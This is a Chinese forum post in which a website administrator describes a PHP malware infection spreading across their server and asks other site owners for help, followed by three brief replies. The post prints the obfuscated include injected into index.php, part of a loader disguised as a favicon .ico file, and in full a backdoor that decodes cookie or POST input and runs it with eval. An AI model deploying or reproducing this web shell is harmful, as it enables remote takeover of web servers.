病毒特征
1.一旦入侵服務器的某個網站就會把服務器下所有網站而已修改。甚至會修改目錄權限。
2.會自動生成含如下代碼的index.php檔案，同時會在各種目錄下生成favicon_*.ico的檔案。
經過反編譯后是一個偽裝成ico檔案的代碼。
<?php
/*f969b*/
@include "\x6ct\x2fs\x65a\x72c\x68/\x66a\x76i\x63o\x6e_\x37f\x652\x336\x2ei\x63o";
/*f969b*/
ico檔案內容如下：
<?php
if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);
$lysoa = 3298; function yhdjugyza($xcqtszj, $qbqxxjvsbm){$egiafr = ''; for($i=0; $i < strlen($xcqtszj); $i++){$egiafr .= isset($qbqxxjvsbm[$xcqtszj[$i]]) ? $qbqxxjvsbm[$xcqtszj[$i]] : $xcqtszj[$i];}
$omlgrnwny="rawurl" . "decode";return $omlgrnwny($egiafr);}
$leqvta = '%SU%Se%SU%Se%ASNiN_9CM%6r%6EC55P5_XPQ%6E%6H%6Scb00%6f%BD%SU%S'.
'e%ASNiN_9CM%6r%6EXPQ_C55P59%6E%6H%6SS%6f%BD%SU%Se%ASNiN_9CM%6r%6EkW8_C8CL3MNPi_MNkC%6E%6H%6'.
'SS%6f%BD%SU%Se%ASC55P5_5CoP5MNiQ%6rS%6f%BD%SU%Se%AS9CM_MNkC_XNkNM%6rS%6f%BD%SU%Se%SU%Se%SU%SeN7%6r'.
'%6vlC7NiCl%6r%66ngn_KY0%66%6f%6f%SU%Se%ED%SU%Se%6S%6S%6S%'.
'6SlC7NiC%6r%66ngn_KY0%66%6H%6S%66%qHi%66%6f%BD%SU%Se%EU%SU%Se%SU%SeN7%6r'.
'%6vlC7NiCl%6r%66UzxKH1YxZ_OKnexe1Yx%66%6f%6f%SU%Se%ED%SU%Se%6S%6S%6S%6SlC7NiC%'.
'6r%66UzxKH1YxZ_OKnexe1Yx%66%6H%6S%66/%66%6f%BD%SU%Se%EU%SU%Se%SU%SeN'.
'7%6S%6r%6vlC7NiCl%6r%6Ee0xKeUZ_xbc_vAALrEL7V6BpWr6WW7NVr5NW'.
3.會把index.html檔案修改為index.html.bak.bak檔案。同時生成index.php檔案。
并在index.php檔案里用代碼指向index.html.bak.bak檔案。
4.會在某些目錄生成類似下面檔案名的病毒檔案。
article19.php
dirs25.php
files94.php
page30.php
部分代碼如下
$jfwek = 'yvxr_o0943mfneiuHkd\'5-#s17b8t2c*lapg';$mdcrdy = Array();$mdcrdy[] = $jfwek[16].$jfwek[31];$mdcrdy[] = $jfwek[22];$mdcrdy[] = $jfwek[24].$jfwek[27].$jfwek[25].$jfwek[7].$jfwek[6].$jfwek[29].$jfwek[11].$jfwek[20].$jfwek[21].$jfwek[9].$jfwek[7].$jfwek[18].$jfwek[29].$jfwek[21].$jfwek[8].$jfwek[33].$jfwek[7].$jfwek[30].$jfwek[21].$jfwek[7].$jfwek[13].$jfwek[33].$jfwek[30].$jfwek[21].$jfwek[8].$jfwek[18].$jfwek[24].$jfwek[30].$jfwek[9].$jfwek[13].$jfwek[25].$jfwek[11].$jfwek[26].$jfwek[20].$jfwek[24].$jfwek[33];$mdcrdy[] = $jfwek[30].$jfwek[5].$jfwek[15].$jfwek[12].$jfwek[28];$mdcrdy[] = $jfwek[23].$jfwek[28].$jfwek[3].$jfwek[4].$jfwek[3].$jfwek[13].$jfwek[34].$jfwek[13].$jfwek[33].$jfwek[28];$mdcrdy[] = $jfwek[13].$jfwek[2].$jfwek[34].$jfwek[32].$jfwek[5].$jfwek[18].$jfwek[13];$mdcrdy[] = $jfwek[23].$jfwek[15].$jfwek[26].$jfwek[23].$jfwek[28].$jfwek[3];$mdcrdy[] = $jfwek[33].$jfwek[3].$jfwek[3].$jfwek[33].$jfwek[0].$jfwek[4].$jfwek[10].$jfwek[13].$jfwek[3].$jfwek[35].$jfwek[13];$mdcrdy[] = $jfwek[23].$jfwek[28].$jfwek[3].$jfwek[32].$jfwek[13].$jfwek[12];$mdcrdy[] = $jfwek[34].$jfwek[33].$jfwek[30].$jfwek[17];foreach ($mdcrdy[7]($_COOKIE, $_POST) as $eyynwg => $qynibe){function bqjwgy($mdcrdy, $eyynwg, $cavxuf){return $mdcrdy[6]($mdcrdy[4]($eyynwg . $mdcrdy[2], ($cavxuf / $mdcrdy[8]($eyynwg)) + 1), 0, $cavxuf);}function cicqtnb($mdcrdy, $ubxwmgg){return @$mdcrdy[9]($mdcrdy[0], $ubxwmgg);}function tlxhk($mdcrdy, $ubxwmgg){$bfvwkb = $mdcrdy[3]($ubxwmgg) % 3;if (!$bfvwkb) {eval($ubxwmgg[1]($ubxwmgg[2]));exit();}}$qynibe = cicqtnb($mdcrdy, $qynibe);tlxhk($mdcrdy, $mdcrdy[5]($mdcrdy[1], $qynibe ^ bqjwgy($mdcrdy, $eyynwg, $mdcrdy[8]($qynibe))));}
以上是我總結的部分特征。也許還有沒發現的。
不知道論壇里的其他站長又沒有遇到類似情況。手動清楚已經超出了勞動極限。只要一個檔案沒處理第二天照樣會生成一大片病毒檔案。已經超出了我的技術能力。希望那位熱心的朋友幫助解決一下。哪怕是指點一下都好。
uj5u.com熱心網友回復：
厲害的病毒。uj5u.com熱心網友回復：
公司得瘋 報警把uj5u.com熱心網友回復：
一般這種情況就是網站被掛馬了，看你描述要不是你沒找要不就是能被遍歷的網頁都被篡改了，找專業的咨詢吧轉載請註明出處，本文鏈接：https://www.uj5u.com/caozuo/83146.html
標籤：安全技術/病毒
上一篇：微軟應用商店打不開該怎么解決呢？
下一篇：最好用的烈火代理1.25注冊機